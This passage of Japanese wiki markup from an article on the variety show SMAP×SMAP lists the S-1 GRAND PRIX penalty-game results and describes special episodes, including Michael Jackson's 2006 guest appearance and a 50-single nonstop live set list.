| 2003年3月10日・3月17日 || style="text-align:center" | 児玉 清 || 草彅 剛 || 稲垣吾郎
|-
| 2004年4月26日・5月3日 || [[三宅裕司]] || rowspan="2" | 香取慎吾 || rowspan="2" | 中居正広
|-
| 2005年7月4日・7月11日 || rowspan="3" | 中居正広 || テロテアリーナ
|-
| 2007年4月2日 || 稲垣吾郎 || rowspan="2" | 草彅 剛 || 殿リーマンになってお買い物
|-
| 2008年8月4日 || 香取慎吾 || 一人スマスマ「クサップ×クサップ」
|}
== S-1 GRAND PRIX ==
1998年8月3日から、不定期で生放送スペシャル内で実施。
番組冒頭で罰ゲームが発表されてから、数個のゲーム(「BISTRO SMAP」含む)を行い、合計得点の下位2名(ペケ1・ペケ2)が、後日に罰ゲームのロケへ行く羽目に(同点の場合は、クラッカー等によるくじ引きで罰ゲーム対象者を決定)。
罰ゲームは、富士山登山に始まり、フルマラソン、トライアスロン、アメリカのTV局で前説等多種多様。
2001年8月13日放送の「夏祭りグランプリ」では、中居・稲垣が罰ゲーム(コンサート終了後にスタッフに手作りおにぎりを)となったものの、直後の稲垣謹慎によって罰ゲームとしては行われず、感謝の意を込めて全員でおにぎりを作るという形で決着。
2003年1月13日放送の「S-1 GRAND PRIX」では、「BISTRO SMAP」に時間を取りすぎて進行がグダグダになり、ペケ2が2人になりクラッカーで決着するがスタッフが渡したクラッカーが二つとも鳴らないクラッカーを用意してしまったことなどトラブルが多々あり視聴者から抗議が殺到。翌週(1月20日)は急遽、放送予定だったレギュラー放送を後回しにし、時間の都合で行えなかったコーナーをやって完全決着を着ける延長戦(生放送)を実施した。(この放送分による事前予告は同年1月18日放送の『[[スマ夫]]』や当日放送の『[[めざましテレビ]]』、また番宣スポットでも告知された。)
2005年以前はペケ2が2人以上いた場合は「クラッカー(鳴ったものを引いたメンバーが罰ゲーム決定)」となっていたが、2008年の回ではペケ2が2人以上いた場合は「クラッカー」から「○と×の札決め(×なら罰ゲーム決定)」で決定する形となった。しかし2人のスケジュールの関係上、実施したのは放送から1年半以上であった。
{| class="wikitable" style="font-size:9pt"
|+ style="font-weight:bold" | 過去の「S-1グランプリ」の成績
|-
! 放送日 !! タイトル !! 罰ゲーム !!style="width:7.8em" |敗者 !!style="width:7.8em" | 罰ゲーム<br />本編放送日
|-
| 1998年8月3日 || 真夏のS-1生グランプリ || 富士山頂上からタイトルコール || 中居 / 草彅 || 1998年10月5日
|-
| 1999年1月11日 || 新春S-1生グランプリ || ビストロ用の氷としてオホーツク海から流氷を取ってくる || 稲垣 / 香取 || 1999年4月5日
|-
| 1999年8月2日 || 真夏のS-1生グランプリ || 富士山頂上からタイトルコール2 || 木村 / 草彅 || 1999年10月4日
|-
| 2000年1月3日 || 新春S-1超特大生グランプリ || 沖縄でフルマラソン || 中居 / 稲垣 || 2000年4月3日
|-
| 2000年7月24日 || 真夏の玉様スペシャル || 27時間半海のゴミ拾い || 草彅 / 香取 || 2000年10月2日
|-
| 2001年1月8日 || 新春S-1生グランプリ || 南の島でフルマラソン || 中居 / 香取 || 2001年5月7日
|-
| 2001年8月13日 || 夏祭りグランプリ || コンサート終了後にスタッフに手作りおにぎりを作る || 中居 / 稲垣 || 2001年10月8日
|-
| 2002年4月15日 || 春ランラン超特大S-1生グランプリ || アメリカのテレビ局で前説 || 稲垣 / 香取 || 2002年12月9日
|-
| 2003年1月13日・1月20日 || オールスターS-1生グランプリ || [[槍ヶ岳|小槍]]の上でアルペン踊り || 稲垣 / 草彅 || 2003年9月22日
|-
| 2005年7月18日 || 海の日だぜ!生SP!! || トライアスロン || 木村 / 草彅 || 2005年12月5日
|-
| 2008年1月14日|| (生)弾丸ファイトSP!! || 中国で友情の2人3脚マラソン || 香取 / 草彅 || 2009年8月17日
|-
| 2012年10月22日|| 2012 秋の(生)スペシャル || 深夜の[[セブン-イレブン]]でアルバイト || [[武井壮]](後述) ||
|}
* 2000年夏は、通常とは異なり「玉様ビリヤード」を行った。
* 2005年SPから「BISTRO SMAP」はS-1の種目から外され、2種目のゲームで決めるようになった。
* 2012年秋SPは、タイムレスドッヂボール(5分以内に、外野から内野を逃げる武井壮にボールをぶつける事ができなかったメンバー全員が、生放送終了直後からお仕事ロケ)を行ったが、全員クリアした為、武井がお仕事ロケに向かった。
== 特別編 ==
通常の「BISTRO SMAP」・「S-Live」・コントコーナーまたはゲームコーナーの3つを一切やらず、ドキュメンタリーや通常回では滅多にやらないSMAPだけによる特別企画・スペシャルゲスト出演の特別企画など、全く違った内容の構成で放送される。出演者は基本的にSMAPの中の一人だけで、様々なゲストを呼ぶ場合もある。かつては年4回程度放送されていたが、近年は減少傾向にあり(当初は、生放送の次の週は特別編というのが通例であった。しかしその生放送も減少傾向である)、2002年以降年1回 - 2回程度になっていたが、2016年はSMAP解散騒動の影響か、「SMAP×SMAP PRESENTS」と題した一人だけで出演する特別企画が増えた。また、近々上映される映画の宣伝を兼ねた企画を行う事もある。
なお、当初は関西テレビの単独制作であった(フジテレビは特別編の制作に関与しなかった)。しかし近年は通常版同様、関西テレビとフジテレビの共同制作となることが多い。
=== 主な企画・コーナー ===
; SMAP
:; 森且行 ラストステージ
:: 1996年5月27日放送。同年5月をもってSMAPを脱退する森且行が当番組最後の出演となった同日に、森が選曲した「[[たぶんオーライ]]」「[[$10 (曲)|$10]]」「[[がんばりましょう]]」「まったくもう」「[[はだかの王様 〜シブトクつよく〜]]」「[[ベスト・フレンド (SMAPの曲)|BEST FRIEND]]」のスペシャルメドレーを披露した。なおこの回はBISTRO SMAPにおいて最初で最後となる木村とのタッグチームやコント「古畑拓三郎」での犯人役など、番組では終始森にスポットを当てた企画が目白押しであった。
:; 今年はこんなことしてました
:: 1997年12月22日放送。1997年に放送された中居・木村・香取の特別編をスタジオで5人で振り返るものだった。他にその年のライブの裏側も放送した。
:; プロモゲリラ
:: 2000年1月10日放送。「[[Let It Be (SMAPの曲)|Let It Be]]」のプロモーションビデオを製作。メンバーがメンバーを撮るといった内容。番組の最後に完成版が放送された。このプロモーションビデオは商品化されていない。特別編としては珍しく全員が出演している。
:; Smap Short Films
:: 2001年4月9日放送。草彅・香取を主演に7人のCMディレクターとCGクリエイターがショートフィルムを製作。監督陣は[[石井克人]]・[[関口現]]・[[三木俊一郎]]・[[山内ケンジ|山内健司]]・[[富岡聡]]・[[中島哲也]]・[[高田雅博]]。後に同年8月にビデオ・DVD化された。
:; スマスマ裁判
:: 2002年12月30日放送。SMAPのメンバーがそれぞれ原告人・被告人を務めて、お互いの罪や悪事を明かして更生させる。裁判長は[[小倉智昭]]が務めた。
:; SMAP '03→'04
:: 2003年12月15日放送。特別編としては珍しく全員が出演している。
:: メンバーの内2人が20分間ずつフリートークをする企画。中居&草彅から始まり、草彅&稲垣→稲垣&木村→木村&香取→香取&中居の順で対談トークを行った。
:; 緊急ドキュメント マイケル・ジャクソンがSMAPに内緒でスマスマに来ちゃいましたスペシャル!
:: 2006年6月5日放送。SMAP全員の憧れでもある世界的スーパースターの[[マイケル・ジャクソン]]がドッキリの形でゲスト出演した。番組スタッフによるマイケルのキャスティング風景などの完全ドキュメンタリーを番組前半に放送した後、マイケルは番組後半からの出演となり、SMAPとの初共演を果たした。マイケルの出演時間は約10分間(22:30<small>頃</small> - 22:40<small>頃</small>)だった。この回がマイケルにとって'''世界で唯一のバラエティ番組出演'''だった。なおマイケルが[[2009年]][[6月25日]]に死去したことにより、マイケルの日本の[[テレビ番組]]及び[[バラエティ番組]]への出演はこれが最初で最後である。またSMAPとマイケルの共演もこれが最初で最後となった。
:: 番組収録は、同年5月31日の夜に行われた。
:: この回の平均視聴率は'''22.0%'''で、瞬間最高視聴率は'''25.9%'''(22:31<ref group="注">マイケル・ジャクソンがSMAPの前に登場したシーン。</ref>)だった(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。
:: ドッキリ<ref group="注">[[ナレーター|ナレーション]]では「ターゲット・SMAP、仕掛け人・マイケル・ジャクソンという、世界一ゴージャスなドッキリ大作戦!」と煽っていた。</ref> の内容は、当番組の音楽コーナー「S-Live」で披露予定だった「[[Dear WOMAN]]」のカップリング曲「[[Dear WOMAN|buzzer beater]]」のリハーサル中に、SMAPには内緒でマイケルが登場するという内容だった。途中、マイケルを乗せた車が遅れるハプニングがあり、できるだけ時間を稼ぐ為に、後ろの[[スクリーン]]の[[LED照明]]が故障するという嘘ハプニングも発生させていた。マイケルが会場に到着すると、スタジオの[[副調整室|サブ室]]に向かい、モニター前の席に座ってリハーサル中のSMAPを観察していた。その際、リハーサル中のSMAPが披露する「buzzer beater」に合わせて、マイケルが机を叩いてビートを刻んだり、指を動かしてピアノを弾く姿を見せていた。曲の終盤に差し掛かるとマイケルはドッキリのスタンバイをして、曲の最後のサビに入る寸前に曲がストップし、スタッフがマイケルに指すと登場の[[背景音楽|BGM]]として「[[今夜はビート・イット|Beat It]]」がかかり、そこで初めてSMAPがマイケルに気がつく。マイケルが登場する前はSMAPも呆れ気味だったが、マイケルが登場するとSMAPは驚愕していた。木村は、最初は[[まいける井上|六本木のそっくりさん]]ではないかと疑っていた。その後SMAPとマイケルが席に座り、中居の司会進行で、6人によるトークが展開された。しかし、中居が本来の司会を発揮できず、木村は、中居が今まで培ってきた司会のスキルがリセットされていることを述べた。トークの最中には、中居→草彅→稲垣→木村→香取の順番で自己紹介をしたり、稲垣が当番組で過去にやっていたマイケルのコントをマイケル本人の前で披露した。さらに、香取がマイケルのライブを観て自身がいつか[[東京ドーム]]でライブすることを夢に頑張り、実際に東京ドームでSMAPのライブができ、夢が叶ったことをマイケル本人に明かしていた。トーク終了後には、マイケルが席を立ち、スクリーンのLEDに興味を持ち感銘していた。マイケルがはけていく際に退場のBGMとして「[[ウィ・アー・ザ・ワールド|We Are The World]]」がかかっていた(2016年12月26日の再放送では「[[ヒール・ザ・ワールド|Heal the World]]」に差し替えられていた)。最後には、マイケルからSMAPへマイケル直筆のSMAPのそれぞれメンバーの名前のサイン入りの『[[ナンバー・ワンズ (マイケル・ジャクソンのアルバム)|Number Ones]]』のCDアルバムをそれぞれ5枚プレゼントし、逆にSMAPからマイケルへそれぞれ自分のサイン入りの「Dear WOMAN」のCDシングルをそれぞれ5枚プレゼントした。
:: なお、他の海外アーティストはゲスト出演した際、楽曲を披露しているが、マイケルは大人の事情<ref group="注">マイケルの[[ギャランティー]]によるもの。</ref> により楽曲は披露せず、トークのみでのゲスト出演となった。
:: この回では「BISTRO SMAP」は休止し、このマイケル出演の特別編と[[安室奈美恵]]が出演した「S-Live」の2本立てで放送された。
:: この出演時点では、マイケルの総売上枚数が推定2億枚と紹介されていたが、現在は推定10億枚と言われている(2014年時点)。
:: 2009年6月29日には、マイケルが6月25日に急逝したため、「マイケル・ジャクソン追悼スペシャル」として再放送が行われた。
:: 2012年3月25日には、『[[FNS5000番組10万人総出演! がんばった大賞|フジテレビ 人気番組名場面すべて見せます!! 第17回草彅剛の超がんばった大賞]]』のスペシャルコーナー「フジテレビ史に残る伝説の瞬間映像15連発」で、2回目となる再放送が行われた。
:: 2016年12月26日(最終回)には、番組の総集編の一環として、3回目となる再放送が行われた。
:: 「S-Live」で披露する予定だった「buzzer beater」は、別日に収録されて後日放送された。
:: ちなみに、総集編などで過去のコーナーや企画を振り返る時に、SMAPが選ぶ当番組に出演した全てのゲストの中で最も印象に残っているゲストとしてマイケルを挙げている。
:: 後日談として、2016年5月17日放送の『[[中居正広のミになる図書館]]』([[テレビ朝日]]系列)で、中居がマイケルが当番組に出演する条件として「楽屋に[[KFCコーポレーション|ケンタッキー・フライドチキン]]を大量に用意しておくこと」だったことを明かしていた。
:; ザ・ロードムービー2007 カンヌ 夏
:: 2007年6月11日放送。木村・香取が出演。
:; [[サタ☆スマ#サタ☆スマ2009 一夜限りの大復活スペシャル!!|サタ☆スマ2009 一夜限りの大復活スペシャル!!]]
:: 2009年5月18日放送。かつて中居・香取が司会を務めていた『サタ☆スマ』の復活版。『中居パパの赤ちゃん預かりますスペシャル』と『慎吾ママのこっそり朝御飯スペシャル』の2企画が行われ、どちらも芸能人の一家が依頼主であった(『中居パパSP』 → [[ノッチ (お笑い芸人)|ノッチ]]([[デンジャラス (お笑いコンビ)|デンジャラス]])一家、『慎吾ママSP』 →[[佐々木健介]]一家)
:; THE☆イチバン「スマミュージアム」
:: 2009年5月25日放送。日本のあらゆるイチバンを紹介する企画。ミュージアムのオーナー役「稲垣”イチバン”吾郎」と、雇われ館長「香取“ニバン”慎吾」が進行。
:: その後通常放送の一コーナーに吸収された事に伴い(2009年7月20日放送分)、中居・木村・草彅もパネラーで参加している。
:; マイケル・ジャクソン追悼企画
:: 2009年11月23日放送。中居が『[[マイケル・ジャクソン THIS IS IT]]』のワールドプレミアのリポート。スタジオのSMAP4人と中居と衛星中継をした。日本のスタジオにはライオネル・リッチーも参加した。
:; 道徳×SMAP
:: 2009年12月21日放送。クイズ形式で[[道徳]]を学ぶという内容。草彅・香取の2人が出演。ゲストは[[オードリー (お笑いコンビ)|オードリー]]他。
:; 緊急生放送 〜いま、僕たちに何ができるだろう〜
:: 2011年3月21日放送。[[東北地方太平洋沖地震]]([[東日本大震災]])を受けて、文字通り「自分たちが復興に向けて何ができるか」を話し合った。この日に『[[森田一義アワー 笑っていいとも!|笑っていいとも!]]』も放送を再開し、そこで香取が募集したFAXを読みながら番組を放送した<ref group="注">これについては当日震災報道のため『いいとも!』を休止した[[仙台放送]]と[[福島テレビ]]でも同時ネットされた。</ref>。
:: 最後には、SMAPから復興支援応援ソングとして「[[がんばりましょう]]」「[[super.modern.artistic.performance|どうか届きますように]]」の2曲が披露された。
:; 今だから伝えたい“ありがとう”
:: 2013年3月11日放送。[[東北地方太平洋沖地震]]([[東日本大震災]])から2年たって、SMAPのメンバーが被災地である[[釜石市|岩手県釜石市]]の人々を尋ね、いろいろな人達のありがとうを聞いた。
:; 前代未聞生放送ライブ! シングル50曲40分間ノンストップスペシャル
:: 2013年9月9日放送。この日がデビューシングル「[[Can't Stop!! -LOVING-]]」の発売日であったことから、デビューシングルの「Can't Stop!! -LOVING-」から50thシングル「[[Joy!!]]」までをCMなしのノンストップメドレーで披露した。また、振りつけは当時のものを再現したものだった。また、ライブ前のカウントダウンでは、50thシングル「Joy!!」からデビューシングルの「Can't Stop!! -LOVING-」までの曲名とジャケットが表示される演出で行われた。
:: この回の平均視聴率は12.6%だった(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。
:: 2014年7月26日・7月27日に放送されたSMAPが総合司会を務める『[[FNS27時間テレビ (2014年)|FNS27時間テレビ]]』でも類似コーナーが行われたが、曲数ではこちらの方が多い。
:: 2016年2月1日の放送ではノーカットで再放送が行われた。
<div class="NavFrame" style="clear: both; border:0;">
<div class="NavHead" style="text-align: left;">前代未聞生放送ライブ! シングル50曲40分間ノンストップスペシャル セットリスト</div>
<div class="NavContent" style="text-align: left;">
{| class="wikitable" style="text-align:center"
!順番!!楽曲
|-
!1
|[[Can't Stop!! -LOVING-]] (1991年)
|-
!2
|[[正義の味方はあてにならない]] (1991年)
|-
!3
|[[心の鏡]] (1992年)
|-
!4
|[[負けるなBaby! 〜Never give up]] (1992年)
|-
!5
|[[笑顔のゲンキ]] (1992年)
|-
!6
|[[雪が降ってきた]] (1992年)
|-
!7
|[[ずっと忘れない]] (1993年)
|-
!8
|[[はじめての夏]] (1993年)
|-
!9
|[[君は君だよ]] (1993年)
|-
!10
|[[$10 (曲)|$10]] (1993年)
|-
!11
|[[君色思い]] (1994年)
|-
!12
|[[Hey Hey おおきに毎度あり]] (1994年)
|-
!13
|[[オリジナル スマイル]] (1994年)
|-
!14
|[[がんばりましょう]] (1994年)
|-
!15
|[[たぶんオーライ]] (1994年)
|-
!16
|[[KANSHAして]] (1995年)
|-
!17
|[[しようよ (曲)|しようよ]] (1995年)
|-
!18
|[[どんないいこと]] (1995年)
|-
!19
|[[俺たちに明日はある]] (1995年)
|-
!20
|[[胸さわぎを頼むよ]] (1996年)
|-
!21
|[[はだかの王様 〜シブトクつよく〜]] (1996年)
|-
!22
|[[青いイナズマ]] (1996年)
|-
!23
|[[SHAKE (SMAPの曲)|SHAKE]] (1996年)
|-
!24
|[[ダイナマイト (SMAPの曲)|ダイナマイト]] (1997年)
|-
!25
|[[セロリ (曲)|セロリ]] (1997年)
|-
!26
|[[Peace! (SMAPの曲)|Peace!]] (1997年)
|-
!27
|[[夜空ノムコウ]] (1998年)
|-
!28
|[[たいせつ (SMAPの曲)|たいせつ]] (1998年)
|-
!29
|[[朝日を見に行こうよ]] (1999年)
|-
!30
|[[Fly (SMAPの曲)|Fly]] (1999年)
|-
!31
|[[Let It Be (SMAPの曲)|Let It Be]] (2000年)
|-
!32
|[[らいおんハート]] (2000年)
|-
!33
|[[Smac]] (2001年)
|-
!34
|[[freebird]] (2002年)
|-
!35
|[[世界に一つだけの花]] (2003年)
|-
!36
|[[友だちへ〜Say What You Will〜]] (2005年)
|-
!37
|[[BANG! BANG! バカンス!]] (2005年)
|-
!38
|[[Triangle (SMAPの曲)|Triangle]] (2005年)
|-
!39
|[[Dear WOMAN]] (2006年)
|-
!40
|[[ありがとう (SMAPの曲)|ありがとう]] (2006年)
|-
!41
|[[弾丸ファイター]] (2007年)
|-
!42
|[[そのまま/White Message|そのまま]] (2008年)
|-
!43
|[[この瞬間、きっと夢じゃない]] (2008年)
|-
!44
|[[そっと きゅっと/スーパースター★|そっと きゅっと]] (2009年)
|-
!45
|[[This is love]] (2010年)
|-
!46
|[[僕の半分]] (2011年)
|-
!47
|[[さかさまの空]] (2012年)
|-
!48
|[[Moment (SMAPの曲)|Moment]] (2012年)
|-
!49
|[[Mistake!/Battery|Mistake!]] (2013年)
|-
!50
|[[Joy!!]] (2013年)
|}
※両A面シングル(42・44・49)については、それぞれ1曲目のみの披露。
</div></div>
:; 27時間TV直前!全国飛び回って爆笑&強烈ドッキリSP!!
:: 2014年7月21日放送。同月26日・27日に放送の『[[FNS27時間テレビ (2014年)|武器はテレビ。SMAP×FNS 27時間テレビ]]』のFNS対抗企画「FNS27局プレゼンツ SMAPよりアイドルな!?ご当地SMAP選手権」への出場チームの集まりにSMAPメンバー1名がサプライズ訪問し、激励する企画の前編(後編は同月23日の『[[おじゃMAP!!|おじゃマップ]]』内で放送)の他に、メンバーが『27時間テレビ』に関してトークするコーナーを放送した。
:; 緊急生放送 SMAP解散報道を語る
:: {{Main|SMAP解散騒動}}
:: 2016年1月18日放送。同年1月13日、SMAPの解散報道がされてから初の当番組放送のため、冒頭部分を急遽この特別企画に差し替え、生放送を行った。
::この回の平均視聴率は'''31.2%'''で、瞬間最高視聴率は'''37.2%'''だった(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。
::なお、この回では当初の予定では、「BISTRO SMAP」・「[[SMAP×SMAPのコント・キャラクター#た行|チャレンジ! コップのツヨ子]]」・「S-Live」の3本立てのラインナップだったが、急遽、「チャレンジ! コップのツヨ子」と「S-Live」を休止して次回に見送り、上記の生放送と「BISTRO SMAP」のみ放送した。
:; SMAP×SMAP Presents 境界線クイズ2016
::2016年4月25日放送。『[[サタ☆スマ#サタスマ|サタスマ]]』内で放送されていた『[[中居正広のボクらはみんな生きている#末期「中居正広のボク生きII」|中居正広のボク生きII]]』のコーナー「境界線クイズ」の復活版。稲垣・草彅・香取が3人で初MCを務めた。
::この回およびこのコーナーには中居・木村は出演していない。
::2016年6月27日 21:00 - 22:48(JST)には、『SMAPバラエティ つよしんごろうの境界線クイズ2016スペシャル!!!』と題して、コーナーが独立して番組化したものを放送。
:
; 中居正広
:; 中居くんの好きだから精一杯! 〜野球が結ぶ親子の絆〜
:: 1997年4月14日放送。ナレーターは[[西山喜久恵]]フジテレビアナウンサー。幼少期から野球が好きだった中居にスポットを当てた内容。以前、中居の生家があった[[神奈川県]][[藤沢市]]に向かい、幼少期の思い出を語ったり、恩師であるコーチに12年ぶりに再会した。後日、中居は「事故により左手の指を三本失った少年が、特製のグローブを付けてプロ野球選手を目指している」という内容の新聞記事を見つける。中居はその少年の所属する少年野球チームの試合が行われる[[京都府]][[綾部市]]に向かい、試合を観戦。その後、中居は少年たちと練習や試合を行なった。また、番組の途中には、中居が当時の[[野球キューバ代表]]の[[オマール・リナレス]]と手紙でやりとりする場面があった。
:; 中居正広のこれが愛なんだ!!
:: 1999年12月13日放送。一般カップルが出場、彼氏がただ延々と地面に深い穴を掘り続ける事で、彼女への愛の深さを訴える内容。
:; Singles
:: 2001年9月17日放送。中居が出演したドラマ『[[伝説の教師]]』にて共演した[[松本人志]]([[ダウンタウン (お笑いコンビ)|ダウンタウン]])と、誰もいない教会の中で結婚について対談する企画。稲垣が謹慎時の本編代替措置の企画であった。
:: 1回限りの企画だったが、中居は翌年、日本テレビの特番『[[松本人志・中居正広VS日本テレビ]]』で再び松本と共演した。
:; 中居正広のISORO
:: 2015年3月23日放送。司会は、中居と[[高島彩]]。稲垣吾郎の半同居人である「ヒロくん」の家に稲垣が居候している様子を放送。平均視聴率は15.2%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。放送上では、フジテレビ・関西テレビともに特別編とは番組表や予告で表記しておらず、あくまで別番組の特別番組扱いとして放送された。
:
; 木村拓哉
:; 木村拓哉・大西部をゆく
:: 1997年3月17日放送。
:; 神様ハ見テイタ 木村拓哉 正義の審判
:: 1999年3月22日放送。
:; 同学年
:: 2000年7月10日放送。木村拓哉と同じ学年([[1972年]]4月2日 - [[1973年]]4月1日生)の有名人をはじめあらゆる職業の人間と1人ずつ向き合うコーナー。演出は[[タカハタ秀太]]。
:: 2001年9月、稲垣謹慎時に再編集版「同学年リミックス」が放送。2002年9月には第二弾が放送された。
:: 『[[とんねるずのみなさんのおかげでした]]』の中では、この企画のパロディ版を[[石橋貴明]]メインで行っていた。
:: この企画で、当時[[日本プロ野球|プロ野球]]・[[広島東洋カープ]]に在籍していた、木村と一字違いだが読みは全く同じで同学年の[[木村拓也]]と共演した<ref group="注">木村拓也は2010年4月7日にクモ膜下出血のため死去。その際、告別式では木村拓哉が献花を行った。</ref>。
:: 2009年5月11日に、同じ[[子 (十二支)|子]]年の人物にまで対談相手の幅を広げた第三弾「同学年±12」を、草彅が謹慎時の本編代替措置の企画として放送。
:; SMAP×SMAP PRESENTS 木村拓哉先輩、ついて来てもらってもいいですか?
:: 2016年7月25日放送。木村とドラマの共演等で親交のある[[濱田岳]]や[[桐谷健太]]が、やってみたいことを木村とともに行う企画。濱田はフライボードに、桐谷は[[キャンプ]]にそれぞれ誘った。
:
; 稲垣吾郎
:; 稲垣吾郎 出張ビストロ in イタリア
:: 1998年3月16日放送。
:; 稲垣吾郎 ソムリエになる!
:: 1998年9月21日放送。
:; 稲垣吾郎のじゃんけんは世界を救う
:: 1999年7月19日放送。揉め事を抱えている一般人2人が登場して、ジャンケンでその揉め事の決着をつける。
:; 稲垣吾郎のボディラビング
:: 2000年3月20日放送。
:; 稲垣芸術★不動産
:: 2001年7月2日放送。
:; 小さな恋のメロディ
:: 2003年1月6日放送。稲垣が[[森三中]]の村上知子(『[[ブスの瞳に恋してる#テレビドラマ|ブスの瞳に恋してる]]』で共演する前)と一泊二日でデートを行い、稲垣が村上に好意を持つか実験を実施。
:: 2006年6月12日に「小さな恋のメロディ リターンズ 〜ブスに恋する5秒前〜」として再編集版が放送された。
:; TRUE LAUGH〜ホントにあった笑の話
:: 2004年11月1日放送。
:; SMAP×SMAP PRESENTS 「やっぱり猫が好きすぎて…」〜芸能人ねこ自慢グランプリ〜
:: 2016年5月23日放送。MCは稲垣と[[田中裕二 (お笑い芸人)|田中裕二]]([[爆笑問題]])。猫好きの芸能人が撮影した愛猫とのプライベートVTRを視聴し、可愛いと思ったら「ニャーボタン」と呼ばれるボタンを押す。最終的にボタンを押した回数の最も多かった猫が「芸能界 キング・オブ・キャット」に選ばれる。
:
; 草彅剛
:; 草彅剛 パパになる!
:: 1998年7月20日放送。草彅が子供二人と一泊二日の共同生活をするという企画。
:: 後に2001年9月に稲垣謹慎による代替企画で「草彅剛 おもいでの夏」として再編集版が放送された。
:;草彅剛 初めての旅 〜見知らぬ人とナゼカ京都へ〜
::1999年9月20日放送。
:; 草彅剛のかかってこい。
:: 2000年9月18日放送。
::* 世の女性達が抱える男性に対する苦情 7000人VS剛
::* 「男って何で浮気をするの?」出演:安藤和津 光浦靖子 内田春菊 山咲千里
::* 「男って何で逃げるの?」出演:YOU 家田荘子 山咲千里
::* 「男って何で自己中心的なの?」出演:嘉門洋子
::* 「男って何で女任せなの?」出演:三原じゅん子 嘉門洋子 家田荘子
::* 「男って何で彼女になると態度が変わるの?」出演:梶原真弓 光浦靖子 安藤和津 YOU
::* 「男って何でブサイクには冷たいの?」出演:光浦靖子
::* 「男って何で優香に癒されたいの?」出演:YOU
::* 「男って何でHビデオが好きなのか?」出演:有坂来瞳
:; チョナン・カンスペシャル サランヘヨ 愛の劇場&愛の唄
:: 2002年4月29日放送。
:; 僕とあなたの生きる道〜ONE DAY
:: 草彅の主演ドラマ『[[僕の生きる道]]』終了後の2003年7月7日に放送。草彅が演じた主人公・中村秀雄が亡くなってからの1日を、中村秀雄が生きた日々の回想を交えて、ドラマに出演した矢田亜希子と出演者がお互いに「死」をどう考えるか、どう生きるかを問いかける構成。
:; ザ・トゥルーショー チョナン・カン初告白!韓国語の秘密&ビーナス
:: 2004年3月8日放送。『[[チョナン・カン]]』の初期に話していた韓国語には台本があったことを暴露。その他、自身の韓国語学習を振り返った。映画『[[ホテルビーナス (映画)|ホテルビーナス]]』の宣伝も兼ねている。
:;サワディー!僕が旅で見つけた宝物 〜草彅剛がタイで出会った19人の子供たち〜
:: 2005年3月28日放送。
:; いま、いじめてる君へ…
:: 2007年1月8日放送。草彅剛とヤンキー先生こと[[義家弘介]]をメインに据え、小・中学生の「生」の声とスタジオに出演している小学生らに行ったアンケート結果から、いま学校で起こっている[[いじめ]]の問題を提起した。ゲストとして[[北海道日本ハムファイターズ]](当時)の[[森本稀哲]]選手、[[佐藤江梨子]]、[[ソニン (タレント)|ソニン]]、[[さかなクン]]が出演。それぞれ自身の体験を語ったが、さかなクンだけは魚の世界にもあるいじめについての知識を披露し、スタジオを笑わせた。
:: [[ニッポン放送]]の[[ヤンキー先生!義家弘介の夢は逃げていかない|義家がパーソナリティを務めるラジオ番組]]をきっかけに母親の協力を得ていじめを克服した中学生が電話で参加し、一つの方向性をみせた。最後に草彅剛が、32歳の青年として「いじめている十代の若い人へ」精一杯のメッセージを発信して番組を閉めた。
:: 同年7月29日、『[[FNS27時間テレビ (2007年)|FNS27時間テレビ]]』内で香取を総合司会に加えた続編が放送された(なお、『[[FNSの日|FNS27時間テレビ]]』のほとんどの企画は生放送で行われるが、この企画は事前収録で行われた)。
:; ザッツ・ジャパニーズ・エンターテイメント 甦る日本映画黄金期
:: 2008年5月5日放送。1950年代の映画を紹介。[[清水宏 (映画監督)|清水宏]]監督の1938年発表映画も。3本の1つが再現ドラマで復活。
:; SMAP×SMAP PRESENTS 草彅剛のイケメン登山部
:: 2016年9月12日放送。スマスマで三度の登山経験を持つ草彅が「イケメン登山部」の部長となり、部員である若手俳優([[山本裕典]]、[[竜星涼]]、[[竹内涼真]])と共に[[八ヶ岳]]の登頂に挑戦する。また、顧問として[[野口健]]が出演。
:
; 香取慎吾
:; 香取慎吾ガンバります!〜夢のキャンバス鉄道〜
:: 1997年9月22日放送。[[津軽鉄道]]の列車に、地元の子供たちを協力して絵をかくという企画。夜露でペンキが流れてしまうといったハプニングもあったが無事に完成した。その後『しんごのいたずら』の取材で香取はこの列車に再会した。列車は2000年に引退している。稲垣謹慎後最初の番組放送時にこの企画が再放送された。
:; 香取慎吾 2000年1月31日
:: 1999年12月13日放送。香取が女子高生を人質に、別荘に立てこもった事件(ドラマ)を放送。マスコミ報道などの問題点などをテーマとした内容となっており、最後には「'''時に誤解があったとしても人と人とは、解りあえる。僕はそう信じている'''」という香取のセリフで締められた。2016年のSMAPの解散騒動の後、ネット上ではこのドラマの事が取り上げられ、話題となった<ref>[https://news.yahoo.co.jp/expert/articles/bacb57ea773253be4668e80af33a83d6bfe1b929 「知っていることがすべて真実とは限らない」香取慎吾の報道されなかった“真実”]Yahoo!ニュース</ref>。
:: この企画は、後に『[[放送禁止 (フジテレビ系列のテレビ番組)|放送禁止]]』を制作するスタッフが制作した。
:; JAPY TV
:: 2004年8月30日放送。
=== スペシャル ===
; 木村拓哉
:; SMAP×SMAPスペシャル さんタク ブルーインパルス完全版
:: 2010年6月21日放送。『[[さんタク]]』の特別編で明石家さんまと木村拓哉が出演。
:: 「SMAP×SMAP特別編」ではなく「SMAP×SMAPスペシャル」として放送。
== 休止時に行う特別番組 ==
年末年始時期や報道特別番組が急遽行われた場合(2008年9月1日に[[福田康夫]]が当時の[[内閣総理大臣]]辞任に伴う報道特番による放送時間繰り下げ、2011年3月14日に[[東日本大震災]]に伴う報道特番による放送休止)を除いて特別編を含め番組が休止になることはほとんどなく、春・秋の番組改編期の場合では『[[ロングバケーション (テレビドラマ)|ロングバケーション]]』・『[[ラブジェネレーション]]』などの木村が主演し高視聴率を得た[[フジテレビ月曜9時枠の連続ドラマ|月9ドラマ]]の特別編で休止になったことがあった程度で、関西テレビ発信による月曜日放送の特別番組としては、1999年3月29日に放送された[[武田鉄矢]]がメインを務めた『芸能人が営む世話好き宿』と題したスペシャル番組を最後に放送されてこなかった。しかし、2014年8月4日には実に184ヶ月ぶりとなる関西テレビ自社制作による特番『世界一周ワンジャンル・ツアー』が放送された。なお、これは[[FNS27時間テレビ (2014年)|27時間テレビ]]による措置である<ref>[http://sp.mainichi.jp/mantan/news/m20140803dyo00m200014000c.html 指原莉乃:沢村一樹と“異色コンビ” 